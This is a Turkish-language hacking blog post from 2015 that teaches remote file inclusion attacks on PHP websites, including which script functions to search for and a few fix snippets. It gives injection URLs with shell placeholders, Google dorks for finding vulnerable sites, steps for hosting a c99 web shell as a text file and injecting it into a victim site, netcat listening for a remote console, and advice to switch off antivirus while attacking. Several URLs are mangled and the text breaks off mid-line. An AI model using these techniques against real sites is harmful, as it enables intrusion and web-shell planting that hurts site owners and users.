31 Ağustos 2015 Pazartesi

SITE AÇIKLAR NASIL BULUNUR

 SITE AÇIKLAR NASIL BULUNUR
 
# RFI Tanımı

# RFI Örnek açıklar

# RFI(Püf noktalar)

# Açıkları bulmak

# Açık oluşturma ve Fixleme

# Scripti otomatik arama

# Server Rooting (Back door)

# Safe-mod:ON bypass yöntemi



# RFI Tanımı

PHP özellikle saldırıya açıktır: PHP, uzaktan dosya içerik (RFI) saldırıları ile herhangi bir dosya veya
akış (stream) tabanlı API ile sisteme zarar verilebilir.
Rfi Php scriptlerinde olur ve orda text dosyasındaki kodlar server da php olarak algılanır ve php olarak çalışır.
RFI açıkları html sitelerinde olmaz , sitenizin tabanı ne olursa olsun asp,php,html,joomla
önemli olan şudur shellinizi kodladığınız dil ve rfi açığı olan sitenin dili aynı ise işlem
gerçekleşir siz php ile yazılmış bir FSO yu asp tabanli bir siteye uploud edip kullanabilirsiniz
yeterki hedef sitede php tabanli olsun


# RFI Örnek açıklar

http://mcturkhackteam.tr.gg/SITE-A%C7IKLAR-NASIL-BULUNUR.htmhttp://examples/patExampleGen/bbcodeSource.php?example=[SHELL][/url]

http://mcturkhackteam.tr.gg/SITE-A%C7IKLAR-NASIL-BULUNUR.htmhttp://localhost/path/starnet/themes...nc.php?cmsdir=[SHELL][/url]

http://mcturkhackteam.tr.gg/SITE-A%C7IKLAR-NASIL-BULUNUR.htmhttp://localhost/path/administrator/...absolute_path=[SHELL][/url]

/includes/functions_mod_user.php?phpbb_root_path=[SHELL]

Buq sitelerinde bu şekilde exploit verilir peki bunu nasıl arayacağız
kodlara dikkatlice bakın "=[SHELL]" yazısından sonra geriye dogru gelin ilk "/" işaretini bulun ondan önceki
tümceyi aratın yukarda 4 kod var şu şeklide aranacak


kod1=inurl: Powerd by patExampleGen
kod2=inurl:c-sky
kod3=inurl:com_juser
kod4=inurl: phpbb_root_path

Bu arama şekilleri buglarla fazla uğraşınca sizde oturacaktır yada bazi exploitler
direk DORK verir verdiği dork'u aratın dork vermediği koşulda yukardaki yöntemi deneyin.


* Google komutları

"allintitle" : Arama sonuçlarını , tüm arama kriterleri tarayıcının başlık çubuğunda bulunan sayfalar ile sınırlandırır.

"intitle" :"allintitle" operatöründen farklı olarak sadece ilk arama kriteleri başlık satırında aranır.Diğer
kelimeler ise metin içerisinde taranır.

"allinurl" : Tüm arama kriterlerinin adres içerisinde bulunmasını istediğiniz durumlarda bu operatörü kullanabilirsiniz.

"inurl" : "intitle" operatöründe olduğu gibi sadece ilk arama kriteri adres çunuğundaki ifade içerisinde aranır .

".."(Numrange) : Sayı aramalarında isterseniz bir aralık tanımlayabilirsiniz.
Örn: "100..150" şeklindeki bir kriteri 100 ve 150 arasındaki sayıları içeren sayfaları görüntüler.

"daterange": 123-456 Bu operatör ile sonuç kümesini belirli zaman aralığı ile sınırlandırabilirsiniz.Parametreler
jüliyen takvimi biçimindedir.

"ext": Bu sayede Belirlediğiniz bir dosya biçimini arata bilirsiniz.Alternatif olarak "filetype:" olarakta kullanılabilinir.

"cache": Bu komutu kullanarak bulunan web sayfasını google belleğinden çağırabilirsiniz.Sunucu mevcut değilse pratik
bir çözüm olabilir.

"site": Bu komut belirli bir web sitesinden arama yapar . örn: "site:http://www.....com google ile casusluk . ! " gibi .

"related":Google,bu ön ek sayesinde benzer web sayfalarını görüntüler.

"info": Bu komut ile web sayfası hakkında kısa bir açıklama elde edebilirsiniz.

"link": girilen sayfa üzerinde bir bağlantı ile işaret edilen tüm web sayfalarını görüntüler.

En çok kullanılanlar : "inurl","..","ext","cache","info" dur.


öRNEK: allinurl:".asp?site=http://"
allinurl:".php?main=http://"



# RFI(Püf noktalar)

uzaktan listpatch (PHP`deki FSO) çalıştırabiliriz.
Listpatch`i php destekleyen ama kodları compile etmeyen bir hosta atacağız.
Yani kodlar attığımız hostta çalışırsa, include edeceğimiz hostta görevini görmeyecektir
sONRA PHP Listpatch`imizi(Shell adreslerimizi) içeriye atıyoruz.

**** Bedava shell adresi saglayan siteler veya kendi hostunuz olabilir(shell'leri atmak için)
www.xxx.com bu bizim sitemiz olsun ve biz buna c99 shellimizi upload ettik
www.xxx.com/c99.txt? text seklinde yuklendi şimdi bunu siteye enjekte edelim
http://localhost/path/index.php?acti...x.com/c99.txt?
shell adresinin sonuna "?" işareti koymayı unutmayın yoksa çalışmaz

**** netcat ile post dinleme yapılacak local den, remote shelldende komut yazarak o porta panel gelmesi saglanacak.
işlem başarılı olunca netcat server konsol haline dönecektir.

**** konsol geldikten sonra Shell in özelliklerine göre sitede ne yapmak istiyorsanız onları yapabilirsiniz.

**** Bazen kullandığınız internet security ve antivirusler shelleri zararli kod olarak algılar ve işlemi
yapmanızı engeller bu yüzden Remote File Inclusion(RFI) işini yaparken bu programları kapalı tutun
işiniz bitince tekrar aktif hale getirirsiniz.

Exploits/Vulnerabilities siteleri

http://www.frsirt.com/english
http://www.securiteam.com
http://www.web-hack.ru/exploit/
http://www.governmentsecurity.org/exploits.php
http://www.phreak.org/html/exploits.shtml
http://www.packetstormsecurity.org/
http://www.guninski.com/
http://www.securityfocus.com/archive/1
http://www.milw0rm.com/
http://www.xatrix.org/
http://securitydot.net/exploits/
http://www.synnergy.net/downloads/exploits/

**** Exploits/Vulnerabilities siteleri

http://www.frsirt.com/english
http://www.securiteam.com
http://www.web-hack.ru/exploit/
http://www.governmentsecurity.org/exploits.php
http://www.phreak.org/html/exploits.shtml
http://www.packetstormsecurity.org/
http://www.guninski.com/
http://www.securityfocus.com/archive/1
http://www.milw0rm.com/
http://www.xatrix.org/
http://securitydot.net/exploits/
http://www.synnergy.net/downloads/exploits/

Bugs
http://msgs.securepoint.com/bugtr**/
http://www.cc-team.org/index.php?name-bugtr**

# Açıkları bulmak

RFI Açıkları bulma yöntemleri Buq sitelerinden bakılır ve Dork verilir
bu dorku google aratırsınız veya "vuln sepetini" örnek $phpbb_root_path "$" olmadan
Google Code Search
adresinde aratırsınız sitelerin scriptlerinde kodu arar veya ****** sitelerinden
siz arayabilirsiniz Hot Scripts - The net's largest PHP, CGI, Perl, JavaScript and ASP ****** collection and resource web portal. sitesi örneğin burdan scripti çekerek
aratırsınız

manuel aramada şu kelimeler scripte aranır

include
include_once
require
require_once
Define
fsockopen
file_get_contents
fopen

Scriptleri Macromedia Dreamweaver 8 yada Notepad2 programları ile açıp kodları
aratabilirsiniz biraz bu kodlardan bahsedelim ben iki ana koddan bahsedeceğim.
include: dosyayı başka dosyaya dahil etmek demektir siz bir scripteki include kodu ile
o scripteki tüm verileri çağırabilirsiniz anlamındadır yani iki include kodu arasındaki veriler bize
bütün scripti çagırabilir require ise sadece o satırdaki kodu çağırır eğer oluşturduğunuz kod doğru ise ve
shell gelmiyorsa scripteki rfi vuln satırından önceki satırda vuln tanımlanmiştir ve rfi çalışmaz

# Açık oluşturma ve Fixleme

*Örnek.1

****** dosyası adı = functions.php

Açık:
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpex );

RFI kodumuz:
includes/functions.phpbb_root_path=[SHELL]

"phpbb_root_path" bizim vuln sepetimizdir eger bu rfi acığını fixlemek istersek
include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpex );
kodunun bulunduğu satırın bir üstüne şu kodu eklememiz gerekir

define('IN_PHPBB', true);
$phpbb_root_path= './';
$functions_root_path = $phpbb_root_path . 'functions_mod/';


*Örnek.2

Kodlar = mcGalleryPRO scriptinden alınmıştır
****** dosyası adı = random2.php

Açık:
include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );

Not:$ işareti olan parametrelere dikkat edin path_to_folder ve lang_def ilk parametreyi kullanarak rfi
yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.

RFI kodumuz:
http://mcturkhackteam.tr.gg/SITE-A%C7IKLAR-NASIL-BULUNUR.htmhttp://www.victimsite.com/mcGalleryP...ath_to_folder=[SHELL][/url]

Fix:
define('IN_PHPBB', true);
$path_to_folder= "./";
$random2_to_folder = $path_to_folder . 'random2_mod/';


*Dipnot:açık bulunan kod satırının üst satırlarından birinde "defined" , "if" gibi ibareler
varsa o açıkta fixlenmiştir buda bir açık fixleme yöntemidir açık satırını iptal ediyor
bu şekilde webmaster



*Önemli Dipnot:
if (file_exists("{$this->db->include_path}/lang/{$this-&g t;VARS[&